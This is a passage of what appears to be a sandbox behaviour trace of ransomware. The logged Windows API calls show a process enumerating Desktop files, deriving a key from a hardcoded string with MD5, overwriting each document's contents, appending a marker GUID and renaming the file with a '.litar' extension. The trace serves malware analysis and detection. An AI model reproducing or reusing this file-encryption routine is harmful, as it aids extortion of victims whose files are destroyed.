returned=".ods" [0125.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OXbBkJHSc.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxbbkjhsc.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.176] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=87707) returned 1 [0125.176] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.178] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15675, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.178] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.179] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.179] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.179] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.179] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1569b, lpOverlapped=0x0) returned 1 [0125.180] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.180] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.180] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.180] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.180] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.181] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.181] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.181] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.181] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.181] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.181] GetLastError () returned 0x0 [0125.181] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.181] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.181] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x156a0) returned 0x30fa0b0 [0125.181] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.182] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15696, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15696, lpOverlapped=0x0) returned 1 [0125.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.182] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1569b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.182] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.182] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.182] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.182] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.182] CloseHandle (hObject=0x624) returned 1 [0125.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.183] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.183] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.183] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OXbBkJHSc.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxbbkjhsc.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OXbBkJHSc.ods.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oxbbkjhsc.ods.litar")) returned 1 [0125.184] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.184] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.185] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3e22410, ftCreationTime.dwHighDateTime=0x1d4c80d, ftLastAccessTime.dwLowDateTime=0x22f7fca0, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x22f7fca0, ftLastWriteTime.dwHighDateTime=0x1d4cbba, nFileSizeHigh=0x0, nFileSizeLow=0x50dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p41R3hPr.swf", cAlternateFileName="")) returned 1 [0125.185] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.185] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.185] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p41R3hPr.swf") returned=".swf" [0125.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p41R3hPr.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p41r3hpr.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.185] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=20700) returned 1 [0125.185] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.187] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x50b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.187] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.188] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.188] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.189] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x50dc, lpOverlapped=0x0) returned 1 [0125.189] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.189] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.189] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.189] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.189] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.190] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.190] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.190] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.190] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.190] GetLastError () returned 0x0 [0125.190] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.190] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.190] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50e0) returned 0x30fa0b0 [0125.190] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.190] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x50d7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x50d7, lpOverlapped=0x0) returned 1 [0125.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.191] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x50dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.191] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.191] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.191] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.191] CloseHandle (hObject=0x624) returned 1 [0125.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.192] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p41R3hPr.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p41r3hpr.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p41R3hPr.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p41r3hpr.swf.litar")) returned 1 [0125.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.192] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.193] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e1f440, ftCreationTime.dwHighDateTime=0x1d4cb14, ftLastAccessTime.dwLowDateTime=0x104fdd50, ftLastAccessTime.dwHighDateTime=0x1d4c680, ftLastWriteTime.dwLowDateTime=0x104fdd50, ftLastWriteTime.dwHighDateTime=0x1d4c680, nFileSizeHigh=0x0, nFileSizeLow=0x10d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pAeUc4J9behwUSLh5ZK.ppt", cAlternateFileName="PAEUC4~1.PPT")) returned 1 [0125.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.193] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.193] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.193] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pAeUc4J9behwUSLh5ZK.ppt") returned=".ppt" [0125.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pAeUc4J9behwUSLh5ZK.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\paeuc4j9behwuslh5zk.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.194] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=69005) returned 1 [0125.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.195] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10d67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.195] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.197] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.197] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.197] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.197] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x10d8d, lpOverlapped=0x0) returned 1 [0125.198] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.198] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.198] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.198] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.198] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.199] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.199] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.199] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.199] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.199] GetLastError () returned 0x0 [0125.199] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.199] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.199] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10d90) returned 0x30fa0b0 [0125.199] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.199] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10d88, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10d88, lpOverlapped=0x0) returned 1 [0125.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.200] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.200] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.200] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.200] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.200] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.200] CloseHandle (hObject=0x624) returned 1 [0125.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.201] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.201] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pAeUc4J9behwUSLh5ZK.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\paeuc4j9behwuslh5zk.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pAeUc4J9behwUSLh5ZK.ppt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\paeuc4j9behwuslh5zk.ppt.litar")) returned 1 [0125.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.202] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.203] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dd2530, ftCreationTime.dwHighDateTime=0x1d4ce85, ftLastAccessTime.dwLowDateTime=0x60963c80, ftLastAccessTime.dwHighDateTime=0x1d4c740, ftLastWriteTime.dwLowDateTime=0x60963c80, ftLastWriteTime.dwHighDateTime=0x1d4c740, nFileSizeHigh=0x0, nFileSizeLow=0xc257, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PolmUMHRORMWgP.swf", cAlternateFileName="POLMUM~1.SWF")) returned 1 [0125.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.203] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.203] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PolmUMHRORMWgP.swf") returned=".swf" [0125.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PolmUMHRORMWgP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\polmumhrormwgp.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.204] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=49751) returned 1 [0125.204] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.205] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.205] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.207] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.207] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.207] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.207] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xc257, lpOverlapped=0x0) returned 1 [0125.208] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.208] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.208] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.208] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.208] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.209] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, 